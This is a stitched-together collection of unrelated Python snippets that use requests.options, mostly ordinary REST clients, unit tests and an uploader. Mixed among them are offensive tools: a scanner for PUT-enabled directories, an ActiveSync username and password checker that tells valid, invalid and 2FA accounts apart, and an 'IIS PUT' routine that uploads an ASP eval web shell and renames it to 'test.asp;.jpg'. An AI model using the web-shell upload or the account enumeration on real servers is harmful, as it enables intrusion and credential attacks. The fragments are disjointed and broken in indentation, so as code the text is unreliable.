def findPuttable():
    #Find directories which are puttable
    headers = {'user-agent': random.choice(agents).strip(),}
    paths = []
    try:
        for url in foundURLs:
                urlPath = url.split('/')
                if len(urlPath) > 3:
                    urlPath.pop()
                newURL = '/'.join(urlPath)
                if newURL not in paths:
                    paths.append(newURL)
        for path in paths:
            resp = None
            if authed:
                resp = requests.options(path, auth=HttpNtlmAuth(username, password),headers=headers)
            else:
                resp = requests.options(path,headers=headers)

            if resp is not None and resp.status_code == 200:
                if 'allow' in resp.headers:
                    printer('[+] PUT - %s' % (path), GREEN)

    except Exception, e:
        print e

def upload(file2Upload):
    """"""
    #Read Cookie.....Damn it I didn't have my supper!
    try:
        cookies = open(cookiepath, 'r').readline()
        #print(cookies)
    except:
        print('I am hungry, please give me your Cookie!')
        exit()
    #Get filename
    if not os.path.isfile(file2Upload):
        print('Not file!')
        pass    
    if os.path.splitext(file2Upload)[1] != '.flv':
        print('ERROR: You can only upload .flv file(s)!')
        exit()
    filename = os.path.basename(file2Upload)
    #print(filename)
    #Calculate Filesize, since there s 1.4GiB limit
    filesize = os.path.getsize(file2Upload)
    print('Size of file: ' + str(filesize))
    if filesize > (1.4 * 1024 * 1024 * 1024):
        print('File larger than 1.4 GiB, unable to upload!')
        exit()
    #Fetch UploadUrl
    request_full = urllib.request.Request('http://member.bilibili.com/get_vupload_url', headers={ 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36', 'Cache-Control': 'no-cache', 'Pragma': 'no-cache' , 'Cookie': cookies,})
    try:
        response = urllib.request.urlopen(request_full)
    except Exception:
        print('Cannot get response from server!')
        pass
    data = response.read()
    uploadresponse = json.loads(data.decode('utf-8'))
    try:        # if error happens...
        uploadresponse["error_code"]
    except KeyError:
        pass
    except:
        print('ERROR: '+ uploadresponse['error_msg'] + ', ' + str(uploadresponse["error_code"]))
        sys.exit() # exit the program
    #print(uploadresponse['url'])
    #make filename
    server_ip = str(uploadresponse['server_ip'])
    remote_file_name = str(uploadresponse['file_name'])
    #start upload
    upload_url = str(uploadresponse['url'])
    #print(upload_url)
    f = open(file2Upload, 'rb')
    c = 0
    for piece in read_in_chunks(f):
        headers_post = {'content-type': 'multipart/form-data', 'Content-Length': '524288', 'Content-Range': 'bytes ' + str(c * 524288) + '-' + str((c + 1) * 524288) + '/' + str(filesize),}
        requests.options(upload_url)  #dont really know why
        files = {'file': piece}
        r = requests.post(upload_url, files=files, headers = headers_post)
        c = c + 1
        
        print(str(c * 524288) + '/' + str(filesize) + ' done...')
    #video_list = video_list + (str('[vupload]' + remote_file_name + ';' + filename + ';' + server_ip + ';[/vupload]\n'))
    print('\n'+'Hope everything is fine. '+ '\n' + '[vupload]' + remote_file_name + ';' + filename + ';' + server_ip + ';[/vupload]')

 def __init__(self, host):
     self.host = host
     self.session = requests.Session()
     try:
         # Run a request to trigger request's imports.
         # We don't care if it works
         requests.options(self.host)
     except:
         pass

def check_user(url, user, password, timeout):
    """Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames.
    It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA."""
    headers = {"MS-ASProtocolVersion": "14.0"}
    auth = (user, password)
    try:
        r = requests.options(url, headers=headers, auth=auth, timeout=timeout)
    except Exception as e:
        msg = "error checking {} : {}".format(user, e)
        if MSF:
            module.log(msg, "error")
        else:
            logging.error(msg)
        return user, UNKNOWN, None
    status = r.status_code
    if status == 401:
        return user, password, VALID_USER, r
    elif status == 404:
        if r.headers.get("X-CasErrorCode") == "UserNotFound":
            return user, password, INVALID_USER, r
    elif status == 403:
        return user, VALID_PASSWD_2FA, r
    elif status == 200:
        return user, password, VALID_LOGIN, r
    return user, password, UNKNOWN, r

def run_request(base_url, url, method="GET", data=None, verbose=False):
    """
    Run HTTP request and return the result.
    """
    if method not in ("GET", "HEAD", "OPTIONS", "POST", "PUT", "PATCH", \
        "DELETE"):
        if verbose:
            print_error("Unknown method")
        return None
    full_url = urlparse.urljoin(base_url, url)
    if verbose:
        print_info("Request url=%s" % (full_url))
        print_info("Request method=%s" % (method))
        if data is not None:
            print_info("Request body=%s" % (data))
    try:
        response = None
        if method == "DELETE":
            response = requests.delete(full_url, data=data)
        elif method == "HEAD":
            response = requests.head(full_url, data=data)
        elif method == "OPTIONS":
            response = requests.options(full_url, data=data)
        elif method == "POST":
            response = requests.post(full_url, data=data)
        elif method == "PUT":
            response = requests.put(full_url, data=data)
        elif method == "PATCH":
            response = requests.patch(full_url, data=data)
        else:
            response = requests.get(full_url, data=data)
        if verbose:
            print_info("Response code=%d" % (response.status_code))
            print_info("Response body=%s" % (response.content))
            print_info("Response headers=%s" % (response.headers))
        return response
    except requests.exceptions.ConnectionError:
        if verbose:
            print_error("Network problem occurred")
        return None
    except requests.exceptions.HTTPError:
        if verbose:
            print_error("Invalid HTTP response")
        return None
    except requests.exceptions.URLRequired:
        if verbose:
            print_error("Invalid request URL")
        return None
    except requests.exceptions.TooManyRedirects:
        if verbose:
            print_error("Too many redirects")
        return None
    except requests.exceptions.Timeout:
        if verbose:
            print_error("Connection timed out")
        return None
    except requests.exceptions.MissingSchema:
        if verbose:
            print_error("Invalid request URL")
        return None

 def options(self, path, params={}):
     headers = {'Accept': 'application/json', 'User-Agent':
                self.SDK_VERSION, 'Content-type': 'application/json'}
     uri = self.make_path(path)
     response = requests.options(
         uri, params=urlencode(params), headers=headers)
     return response

    def request(self):
        resposta = ''
        try:
            metodo = self.metodo.get()
            headers = self.get_headers()
            if metodo == Rest.POST:
                data = self.get_data()
                resposta = r.post(self.url.get(), headers=headers, data=data)
            elif metodo == Rest.GET:
                resposta = r.get(self.url.get(), headers=headers)
            elif metodo == Rest.PUT:
                data = self.get_data()
                resposta = r.put(self.url.get(), headers=headers, data=data)
            elif metodo == Rest.DELETE:
                resposta = r.delete(self.url.get(), headers=headers)
            elif metodo == Rest.OPTIONS:
                resposta = r.options(self.url.get(), headers=headers)
            elif metodo == Rest.TRACE:
                resposta = r.trace(self.url.get(), headers=headers)
            elif metodo == Rest.HEAD:
                resposta = r.head(self.url.get(), headers=headers)
        except Exception as ex:
            print(ex)
            resposta = ex.message
        self.tratar_resposta(resposta)

        self.retorno.delete(0.0,tkinter.END)
        try:
            load = json.loads(resposta.text)
            self.retorno.insert(tkinter.END, json.dumps(load, indent=4, sort_keys=True) )
        except:
            soup = BeautifulSoup(resposta.text)
            self.retorno.insert(tkinter.END, soup.prettify() )

def run(target):
    "IIS PUT"
    results = []
    url = "http://" + target + "/"

    try:
        r = requests.options(url, timeout=5)
    except Exception:
        pass
    else:
        r.close()
        if r.headers.get("public") and r.headers.get("allow") and "PUT" in r.headers.get("public"):
                try:
                    r = requests.put(url+"test.txt", data='<%eval request("chu")%>', timeout=5)
                except Exception:
                    pass
                else:
                    r.close()
                    if r.status_code < 400:
                        try:
                            r = requests.request(method="MOVE",
                                                 url=url+"test.txt",
                                                 headers={"Destination":url+"test.asp;.jpg"},
                                                 timeout=5
                            )
                        except Exception:
                            pass
                        else:
                            r.close()
                            if r.status_code < 400:
                                results.append(url+"test.asp;.jpg")

    return results

    def options(self):
        """
        Retrieves documentation of REST resource.

        If the status code is 200 (OK), returns the documentation.  Otherwise,
        returns an error.

        The response is an object with the following attributes:

        +------------+------------------------+
        | Attribute  | Description            |
        +============+========================+
        | headers    | Response headers       |
        +------------+------------------------+
        | data       | Resource documentation |
        +------------+------------------------+

        Link resources are not included in the documentation.

        :returns: Resource documentation data.
        :rtype: ``EasyDict`` object.
        """
        uri = "%s%s" % (self.base_uri, self.endpoint)

        resp = requests.options(uri,params=self.auth)

        if resp.status_code == 200:
            return Response(self.base_uri, self.auth, resp)
        else:
            raise SoccermetricsRestException(resp.status_code,resp.url)

 def test_documentation_siteroot_options(self):
     response = requests.options(
         self.portal.absolute_url(),
         headers={'content-type': 'application/json'},
         auth=(SITE_OWNER_NAME, SITE_OWNER_PASSWORD)
     )
     save_response_for_documentation('siteroot-options.json', response)

    def testGetWildcard(self):
        # set the Cors header
        requests.post(
            self.url + "/foo",
            headers={
                'X-Auth-Token': self.tokenId,
                'X-Container-Meta-Access-Control-Allow-Origin': '*',
            }).raise_for_status()

        # check if the cors header was stored
        response = requests.get(
            self.url + "/foo",
            headers={
                'X-Auth-Token': self.tokenId,
            })

        response.raise_for_status()
        self.assertEqual(response.status_code, 200)
        self.assertEqual(
            response.headers['X-Container-Meta-access-control-allow-origin'],
            '*')

        # set the Cors header
        response = requests.options(
            self.url + "/foo/a",
            headers={
                'X-Auth-Token': self.tokenId,
                'Origin': 'http://www.foo.com',
                'Access-Control-Request-Method': 'GET',
            })

        self.assertEqual(response.status_code, 200)

def main():

    print('Создаем объект Response, вызывая метод HTTP GET')
    response_object = requests.get(BASE_URL + HTTP_METHOD['GET'])

    # декодированный текст ответа
    print('{}'.format(response_object.text))

    print('Создаем объект Response, вызывая метод HTTP PUT')
    response_object = requests.put(BASE_URL + HTTP_METHOD['PUT'])

    # декодированный текст ответа
    print('{}'.format(response_object.text))

    print('Создаем объект Response, вызывая метод HTTP DELETE')
    response_object = requests.delete(BASE_URL + HTTP_METHOD['DELETE'])

    # декодированный текст ответа
    print('{}'.format(response_object.text))

    print('Создаем объект Response, вызывая метод HTTP HEAD')
    response_object = requests.head(BASE_URL + HTTP_METHOD['HEAD'])

    # декодированный текст ответа
    print('{}'.format(response_object.text))

    print('Создаем объект Response, вызывая метод HTTP OPTIONS')
    response_object = requests.options(BASE_URL + HTTP_METHOD['OPTIONS'])

    # декодированный текст ответа
    print('{}'.format(response_object.text))

    def do_request(self, http_method, url, headers, body, return_format):

        if self.auth_type == 'OAUTH1':
            auth_data = self.get_oauth()
        else:
            auth_data = None

        if self.send_json:
            # We need to make sure that body is jsonified
            try:
                body = json.dumps(body)
            except TypeError or ValueError:
                pass

        if http_method.upper() == 'GET':
            r = requests.get(url, headers=headers, auth=auth_data)

        elif http_method.upper() == 'POST':
            r = requests.post(url, data=body, headers=headers, auth=auth_data)

        elif http_method.upper() == 'PUT':
            r = requests.put(url, data=body, headers=headers, auth=auth_data)

        elif http_method.upper() == 'DELETE':
            r = requests.delete(url, data=body, headers=headers, auth=auth_data)

        elif http_method.upper() == 'OPTIONS':
            r = requests.options(url, data=body, headers=headers, auth=auth_data)

        else:
            raise Exception("Invalid request method")

        return self.handle_response(r, return_format)

    def requests(self, data):
        args = comun.to_dict(data.Args)
        info = comun.to_dict(data.Data)
        if data.Method == 'get':
            params = comun.to_dict(data.Params)
            r = requests.get(data.Url, params, **args)
        elif data.Method == 'post':
            json = comun.to_dict(data.Json)
            r = requests.post(data.Url, info, json, **args)
        elif data.Method == 'options':
            r = requests.options(data.Url, **args)
        elif data.Method == 'head':
            r = requests.head(data.Url, **args)
        elif data.Method == 'put':
            r = requests.put(data.Url, info, **args)
        elif data.Method == 'patch':
            r = requests.patch(data.Url, info, **args)
        elif data.Method == 'delete':
            r = requests.delete(data.Url, **args)

        res = Response()
        res.StatusCode = r.status_code
        res.Url = r.url
        res.Encoding = str(r.encoding)
        res.Headers = str(r.headers)
        res.Cookies = str(r.cookies)
        res.Text = r.text
        try:
            res.Json = str(r.json())
        except ValueError:
            res.Json = ''
        res.Content = r.content
        return res

def req(param, header, total_time_list, length_list):
    try:
        url, method, data = param
        start = time.time()
        if method == 'GET':
            r = requests.get(url)
        elif method == 'POST':
            data = data_parse(data)
            r = requests.post(url, data)
        elif method == 'DELETE':
            r = requests.delete(url)
        elif method == 'PUT':
            data = data_parse(data)
            r = requests.put(url, data)
        elif method == 'HEAD':
            r = requests.head(url)
        elif method == 'OPTIONS':
            r = requests.options(url)

        #print r.content
        total_time = time.time() - start
        if r.ok:
            if not header['server']:
                header['server'] = r.headers['Server'] if 'Server' in r.headers else 'unknown'
            if 'Content-Length' in r.headers:
                length = float(r.headers['Content-Length'])
            else:
                length = len(r.content)
            total_time_list.append(total_time)
            length_list.append(length)
    except Exception, e:
        logging.warn('request failed, domain:%s ; :%s' % (url, e), exc_info=1)

 def test_mocker_options(self, m):
     mock_obj = m.options(self.URL, text=self.TEXT)
     self.assertResponse(requests.options(self.URL))
     self.assertTrue(mock_obj.called)
     self.assertTrue(mock_obj.called_once)
     self.assertTrue(m.called)
     self.assertTrue(m.called_once)

def _curl(protocol,target,i,timeout=3,searchList=[]):
    dic = {}
    dic['id'] = str(i)
    dic['host'] = target.split(':')[0]
    dic['search'] = []
    url = protocol + "://" +target.strip(' ')
    try:
        result = requests.get(url, timeout=int(timeout),verify=False)
        soup = BeautifulSoup(result.text,'lxml')
        dic['target'] = url
        dic['status'] = str(result.status_code)
        dic['flag'] = True
        dic['host'] = target
        mytitle =  soup.title.string
        content =  result.text
        for searchkey in searchList:
            if searchkey in mytitle.encode(result.encoding) or searchkey in content.encode(result.encoding):
                dic['search'].append(searchkey)
        if mytitle == None or mytitle =='':
            dic['title'] = "None Title"
        else:
            dic['title'] =  mytitle.encode(result.encoding)
    except:
        dic['title'] = "Curl Failed"
        dic['status'] = "0"
        dic['target'] = target
        dic['host'] = target
        dic['flag'] = False
    url = protocol + "://" +target.strip(' ')
    try:
        result1 = requests.options(url+"/testbyah", verify=False,timeout=int(timeout))
        dic['head_allow'] = result1.headers['Allow']
    except:
        dic['head_allow'] = "Not Allow"
    return dic

 def test_method_options(self):
     r = requests.options(self.login_url, data = {
         'mob': self.mob,
         'code': '123456'
     })
     self.assertEqual(r.status_code, 200,
         msg = 'response status code equals to 200 use method options.')

    def request(self, method, request="?", headers=None, postData={}, domain="discordapp.com", files={}):
        while(time.time() - self.lastRequest < 1):
            time.sleep(0.025)

        url = 'https://{}/api/{}'.format(domain, request)
        response = None

        if(method.lower() in ["post", "get", "delete", "head", "options", "put"]):
            self.lastRequest = time.time()
            if(method == "POST"):
                response = requests.post(url, files=files, json=postData, headers=headers)
            elif(method == "GET"):
                response = requests.get(url, postData, headers=headers)
            elif(method == "PUT"):
                response = requests.put(url, postData, headers=headers)
            elif(method == "DELETE"):
                response = requests.delete(url, postData, headers=headers)
            elif(method == "OPTIONS"):
                response = requests.options(url)
            elif(method == "HEAD"):
                response = requests.head(url)
            elif(method == "UPDATE"):
                response = requests.update(url, postData, headers=headers)
        else:
            raise Exception("Invalid HTTP request method")

        if(response.status_code not in range(200, 206)):
            raise Exception("API responded with HTTP code  " + str(response.status_code) + "\n\n" + response.text)
        else:
            if(response.text):
                returnData = json.loads(response.text)

                return returnData
            else:
                return None

 def api_request(self, api_module, view_name, method='GET', headers=None, payload=None, files=None, auth=None):
     """
     :param api_module: the api module instantiated on the given instance
     :param view_name: a view in the given api module
     :param method: the HTTP request method. defaults to GET
     :param payload: any data that needs to be sent to the view. defaults to None. should be a dict
     :return: returns the response content or json depending on the response content-type
     """
     url = 'https://%s.nebrios.com/api/v1/%s/%s' % (self.instance_name, api_module, view_name)
     r = None
     if method == 'POST':
         r = requests.post(url, data=payload, files=files, headers=headers, auth=auth)
     elif method == 'GET':
         r = requests.get(url, params=payload, headers=headers, auth=auth)
     elif method == 'PUT':
         r = requests.put(url, data=payload, headers=headers, auth=auth)
     elif method == 'DELETE':
         r = requests.delete(url, headers=headers, auth=auth)
     elif method == 'HEAD':
         r = requests.head(url, headers=headers, auth=auth)
     elif method == 'OPTIONS':
         r = requests.options(url, headers=headers, auth=auth)
     else:
         return 'Incorrect Method.'
     print r
     if 'application/json' in r.headers['content-type']:
         return r.json()
     return r.content